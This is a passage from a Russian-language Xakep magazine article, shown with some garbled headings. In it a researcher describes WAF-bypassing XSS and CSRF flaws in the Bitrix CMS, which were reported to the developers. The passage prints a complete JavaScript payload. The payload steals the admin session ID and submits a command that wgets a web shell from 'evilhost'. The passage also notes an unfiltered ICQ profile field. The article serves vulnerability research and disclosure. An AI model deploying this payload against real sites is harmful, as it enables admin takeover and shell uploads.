JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
HTTP://WWW<br />
Фишинг-атака с использованием<br />
уязвимости<br />
bypass). Я знал, что WAF фильтрует не только ивенты, но<br />
и функции и переменные, которые он считает опасными,<br />
в самом JavaScript, и морально приготовился к мучительным<br />
видоизменениям кода. Логично, казалось бы, было<br />
использовать обфускатор jjencode. Но в данном случае он<br />
был неприменим из-за того, что любой символ закрывающейся<br />
квадратной скобки закрывал тэг URL, в котором была<br />
уязвимость, и отсекал весь остальной код за собой. Ну, а<br />
квадратные скобки встречаются в jjencode на каждом шагу.<br />
Поэтому пришлось идти другим путем. Логика эксплойта<br />
должна была быть следующей:<br />
1. Создаем объекты iframe, form, два поля input (параметры<br />
POST sessid и query).<br />
2. В iframe загружаем какую-нибудь страницу админки и<br />
получаем из него innerHTML.<br />
3. Выдираем из innerHTML нашего iframe значение sessid.<br />
4. Проставляем значение sessid в value атрибут первого<br />
объекта input.<br />
5. Выполняем form.submit.<br />
Единственным, что мешало написанию эксплойта со стороны<br />
системы, была фильтрация метода onload. Конечно,<br />
можно было написать конструкцию типа i[“onload”]=a, но,<br />
опять-таки, квадратные скобки не были допустимы для данной<br />
уязвимости. Пришлось снова придумывать. Придумка<br />
оказалось простой, как валенок — setTimeout(a,10000).<br />
Рассчитано на то, что содержимое iframe загрузится раньше<br />
10 секунд, функция a сможет выдрать значение sessid. В<br />
остальном никаких хитростей применено не было. Код получился<br />
вот такой:<br />
[URL=http://a' onmouseenter='var i=document.<br />
createElement("iframe");i.style.<br />
width="0px";i.style.height="0px";var p=/<br />
sessid=.{32}/;var t="";var f=document.<br />
createElement("form");f.method="POST";f.<br />
action="/bitrix/admin/php_command_<br />
line.php?mode=frame";var s=document.<br />
createElement("INPUT");s.style.<br />
visibility="hidden";s.type="text";s.<br />
name="sessid";var y=document.<br />
createElement("INPUT");y.style.<br />
visibility="hidden";y.type="text";y.<br />
name="query";y.value="system(\"wget<br />
htt\".\"p://evilhost:6448/s.txt<br />
-O s.php\");";f.appendChild(s);f.<br />
appendChild(y);function b(){t+=i.<br />
document.body.innerHTML.match(p);s.<br />
value=t.substr(7);f.submit()};i.<br />
src="/bitrix/admin/";document.body.<br />
appendChild(i);document.body.appendChild(f);<br />
setTimeout(b,10000);']ÍÀÂÅÄÈ ÍÀ ÌÅÍß![/URL]<br />
XÀÊÅÐ 09 /140/ 10<br />
Веб-шелл, залитый на мой локальный<br />
Битрикс через CSRF<br />
У такого PoC есть два недостатка — он работает только под<br />
Internet Explorer и открывает новую страницу с результатом<br />
выполнения команды шелла (пустую, если все прошло<br />
хорошо, и шелл залился). Эти два недостатка с легкостью<br />
лечатся, но в этой статье более элегантного решения не<br />
будет дано специально. Моя цель — показать возможность<br />
проведения атаки, а не дать в руки готовый инструмент для<br />
взлома.<br />
ÑËÀÄÊÎÅ ÍÀ ÇÀÊÓÑÊÓ<br />
Итак, мне удалось провести две успешные атаки самого<br />
себя и залить два веб-шелла. В завершение исследования<br />
я еще раз оглядел весь движок, по большей части<br />
для того, чтобы просто изучить функционал. Случайно<br />
наведя мышкой на надписи с именем автора записи в<br />
блоге, я увидел, что при этом открывается всплывающее<br />
окно, в котором отображается само сообщение. Это выглядело<br />
очень красиво — дизайн окошка был оформлен<br />
под облачко из комиксов. Но меня насторожило, что в<br />
этом окошке выводится также значение поля ICQ из профиля<br />
пользователя. Причем при выводе не фильтруется<br />
ни < >, ни ‘ “. Как же просто было при сохранении в базу<br />
ограничить поле ICQ в профиле пользователя только цифрами!<br />
Это ведь так логично! Но вместо простого решения<br />
— уязвимость. Это была третья возможность заливки<br />
шелла. В отличие от варианта с [URL] здесь можно было<br />
разгуляться — jjencode и целые тэги, а не только атрибуты.<br />
Кроме того, можно использовать уязвимости XSS для<br />
фишинг-атак. Демонстрацию такой техники можно найти<br />
на картинке. Придумывать еще один метод обхода WAF<br />
для проведения атак без участия со стороны пользователя,<br />
таких как клики и наведения мышкой, мне уже не<br />
хотелось. Быстрое исследование, которое заняло полтора<br />
дня, решено было закончить, а обнаруженная уязвимость<br />
также ушла разработчикам.<br />
ÔÈÍÀË<br />
Все, что было обнаружено, уже должно быть исправлено в<br />
новом Битриксе на момент публикации этой статьи. Всегда<br />
до публикации следует оповещать разработчиков и согласовывать<br />
сроки публикации. Так и было сделано. Находить<br />
уязвимости и взламывать сайты — это две совершенно<br />
разные задачи. А если учесть масштабы распространения<br />
Битрикса в рунете — последствия атак могли бы быть<br />
весьма внушительными. Исследователь — не взломщик,<br />
он энтузиаст, стремится показать, где программа недоработана,<br />
и в итоге способствует тому, чтобы его продукт<br />
стал более защищен. На этом снимаю перед тобой шляпу и<br />
отклани ваюсь. И замечу (на всякий случай), что в ходе исследования<br />
ни один живой сайт не пострадал. Как всегда,<br />
на вопросы отвечаю в блоге oxod.ru. z<br />
links<br />
• Документация<br />
языка FormCalc —<br />
help.adobe.com/<br />
en_US/livecycle/es/<br />
FormCalc.pdf<br />
• Продукт Adobe<br />
Livecycle Designer,<br />
trial версия для<br />
создания PDF<br />
документов — adobe.<br />
com/go/trylivecycle<br />
• Общие сведения об<br />
атаке CSRF — owasp.<br />
org/index.php/Cross-<br />
Site_Request_Forgery_(CSRF)<br />
• Мой блог (отвечаю<br />
на вопросы, пишу по<br />
мере сил) — oxod.ru<br />
DVD<br />
dvd<br />
• На диске<br />
ты найдешь<br />
демонстрацию<br />
всех описанных<br />
уязвимостей<br />
069